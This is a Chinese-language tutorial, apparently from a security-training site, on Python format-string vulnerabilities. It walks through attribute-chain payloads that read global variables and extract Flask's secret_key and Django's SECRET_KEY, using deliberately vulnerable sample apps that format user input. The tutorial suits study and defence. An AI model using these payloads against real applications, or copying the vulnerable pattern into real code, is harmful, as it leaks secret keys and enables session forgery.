前言
前兩天與隊友交流時提及python的格式化字符串漏洞,這個漏洞之前接觸不多,所以寫篇文章從基礎部分仔細研究了研究。python環境是python3.7。
Python3裡的格式化字符串
python3中的格式化字符串主要有以下兩種形式:
<code>"test %s" % ('test')"test {0}".format('test')/<code>
這兩個語句的輸出都是test test。雖然效果一樣,但是在python web的開發中一般認為前者比後者要安全,因為後者可能會因為自身支持的一些特殊用法導致配置信息等的洩露。
首先,format形式的格式化字符串基本用法如下:
<code>"I am {1},he is {0}".format("a","b")/<code>
這個語句的輸出是I am b,he is a,大括號{}中的數字代表了format的變量順序。
<code>"I am {MyName},he is {HisName}".format(MyName="aa",HisName="bb")/<code>
這個語句的輸出是I am aa,he is bb,這種語句可以在format函數的參數通過key來賦值。
<code>"I am {},he is {}".format("a","b")/<code>
這個語句的輸出是I am a,he is b,這樣的用法會讓大括號與format的參數一一對應。
當大括號與format的參數不能一一對應的時候便會報錯,例如:
<code>"I am {0},he is also {0}".format('a')"I am {0},he is also {1}".format('a')/<code>
前者會輸出I am a,he is also a,而後者會報錯tuple index out of range。
這些format函數的基本用法並不是導致格式化字符串漏洞的根源,查看下列代碼:
<code>"first {0[1]}, second {0}".format(['a','b'])/<code>
輸出為first b, second ['a', 'b'],可見當format函數的參數是一個列表時,可以通過用方括號添加索引的方式來獲取列表的值。同樣的,這種用法也可以用在類的屬性上,比如以下代碼會輸出字符串a的內置屬性__class__:
<code>print("{0.__class__}".format('a'))/<code>
輸出結果是<class>
一般利用
python的格式化字符串的利用與沙盒逃逸或者python SSTI很相似,但format與後兩者的區別在於它只能讀取屬性而不能執行方法,這就限制了格式化字符串的利用與攻擊鏈的構造。舉個例子,python SSTI中可以通過'a'.__class__.__base__.__subclasses__()[12]來獲取任意類,但是由於format函數無法執行__subclasses__()這樣的方法,直接把這種payload套進格式化字符串的利用中會報錯type object 'object' has no attribute '__subclasses__()'。
在與隊友討論時我們用的測試代碼簡化如下:
<code>from secret.secret import secretclass AppendStr(object): def __init__(self, message = 'test'): self.message = message def __str__(self): return self.messagedef test(): s = input("test\\n") t = s + " by the way {0}" print(t.format(AppendStr()))while(1): test()/<code>
可以看到這裡format函數的參數是一個對象的實例,而secret保存在全局變量中。熟悉SSTI或者沙箱繞過的都知道,python的函數類有一個內置屬性__globals__可以以字典的形式返回函數所在的全局命名空間所定義的全局變量。結合format函數的格式化字符串可以讀取成員屬性的特性,我們很容易知道只需通過一個調用鏈來獲取一個函數類並讀取它的__globals__屬性即可。這裡我們可以使用這樣的payload:{0.__class__.__init__.__globals__}。由於AppendStr類定義了__init__函數,所以可以通過{0.__class__.__init__}來獲取一個函數類<function>,再讀取這個類的__globals__屬性來獲取secret。這個思路也適用於一切的類的成員函數,假如把測試代碼改為如下:/<function>
<code>def test(): s = input("test\\n") t = s + " by the way {0}" print(t.format('test'))while(1): test()/<code>
如果機械地套用上邊的payload會報錯'wrapper_descriptor' object has no attribute '__globals__'。可以通過以下代碼來查看字符串類的成員屬性:
<code>print('a'.__class__.__dict__)/<code>
輸出很多這裡就不一一列舉了。可以在輸出的結果中看到字符串類並沒有function類型的成員屬性,所以不能通過格式化字符串來獲得全局變量。
Flask下讀取secret_key
把情景切換到flask下寫出如下的測試代碼:
<code>from flask import Flaskfrom flask import requestapp = Flask(__name__)app.config['SECRET_KEY'] = 'gasidfjbodnjgfnof'class AppendStr(object): def __init__(self, message = 'test'): self.message = message def __str__(self): return [email protected]('/', methods=['GET'])def index(): template = 'Hello {0}, This is your email: ' + request.args.get('email') return template.format(AppendStr())if __name__ == '__main__': app.run('0.0.0.0', 8080)/<code>
前置步驟與之前講的相似,get方法提交參數?email={0.__class__.__init__.__globals__}可以看到當前的全局變量,然而secret_key並不會出現在返回中。我本地測試時返回的是這些數據:
似乎不能簡單粗暴地通過這個payload來獲取secret_key,我們再看看flask的代碼app.py:
<code># 部分包及代碼省略from .config import Config, ConfigAttributeclass Flask(_PackageBoundObject):# 註釋省略 config_class = Config testing = ConfigAttribute('TESTING') secret_key = ConfigAttribute('SECRET_KEY') session_cookie_name = ConfigAttribute('SESSION_COOKIE_NAME')/<code>
可以看到Flask類的屬性secret_key會保存當前的secret_key的值,而上邊返回的全局變量裡有'app': <flask>。我這個文件名是template,這就是當前的Flask類實例化的對象。所以只需要在上邊那個payload後補充一些東西就能拿到secret_key,其內容如下:?email={0.__class__.__init__.__globals__[app].secret_key}。/<flask>
django下讀取SECRET_KEY
p師傅很早以前寫過一篇文章講解過這個利用方法,其鏈接如下:https://www.leavesongs.com/PENETRATION/python-string-format-vulnerability.html。p師傅在文章中給出了兩個payload,但並沒有仔細講解其原理。所以我這裡就逐步分析下其中一個payload的構造,另一個payload思路類似。測試代碼如下:
<code>from django.http import HttpResponsedef index(request): template = 'Hello {user}, This is your email: ' + request.GET.get('email') return HttpResponse(template.format(user=request.user))/<code>
在未登錄狀態下,request.user是類AnonymousUser的實例化對象,類定義在django/contrib/auth/models.py文件中395行:
402行看到該對象的_groups屬性是一個EmptyManager類的對象。429行可知該對象的groups方法也被轉化為了名為groups且值與_groups相同的類屬性。EmptyManager類定義在django/db/models/manager.py的195行
可以看到這個對象的model屬性是與AnonymousUser類定義在同一個文件中的Group類,在django/contrib/auth/models.py文件中91行:
Group類本身定義的東西沒什麼好看的,一路跟隨至其父類的父類ModelBase,定義在django/db/models/base.py的71行,有):
在121行可以看到該類的_meta屬性是一個Options類實例化的對象。跟蹤至django/db/models/options.py的65行可以看到類定義(此處由於代碼太長不截圖了):
<code>from django.apps import apps# 省略class Options:# 省略 default_apps = apps def __init__(self, meta, app_label=None): self.app_label = app_label self.apps = self.default_apps# 省略 @property def app_config(self): # Don't go through get_app_config to avoid triggering imports. return self.apps.app_configs.get(self.app_label)# 省略/<code>
可以看到app_config方法被轉化為了只讀屬性,而該屬性返回self.apps.app_configs.get(self.app_label)。審計代碼可以清楚得發現self.apps就是導入的apps模塊,即一個module類的對象。跟蹤至django/apps/registry.py,可以看到類Apps的定義裡,即原文件13行有
<code>class Apps: def __init__(self, installed_apps=()): self.app_configs = {}# 省略 def populate(self, installed_apps=None):# 省略 for entry in installed_apps: if isinstance(entry, AppConfig): app_config = entry else: app_config = AppConfig.create(entry) # 91行 if app_config.label in self.app_configs: raise ImproperlyConfigured( "Application labels aren't unique, " "duplicates: %s" % app_config.label) self.app_configs[app_config.label] = app_config # 97行/<code>
跟蹤91行的AppConfig.create至django/apps/config.py,有:
<code>class AppConfig:# 省略 def create(cls, entry): try: module = import_module(entry)/<code>
這個Options類實例化的對象的app_config屬性返回會返回一個對象,而這個對象的module屬性是python的一個模塊即module。而對於我的測試代碼這種情景,module的內容為<module>。查看該模塊的代碼,可以在文件django/contrib/auth/admin.py中看到/<module>
<code>from django.conf import settings# 省略/<code>
settings模塊裡就有我們需要的SECRET_KEY。故我們可以通過簡單的模塊包含關係利用格式化字符串漏洞來讀取SECRET_KEY,故最終payload如下:[{user.groups.model._meta.app_config.module.admin.settings.SECRET_KEY}] Python編程指南:
http://www.hetianlab.com/cour.do?w=1&c=C172.19.104.182015082711022000001
聲明:筆者初衷用於分享與普及網絡知識,若讀者因此作出任何危害網絡安全行為後果自負,與合天智匯及原作者無關!
閱讀更多 合天網安實驗室 的文章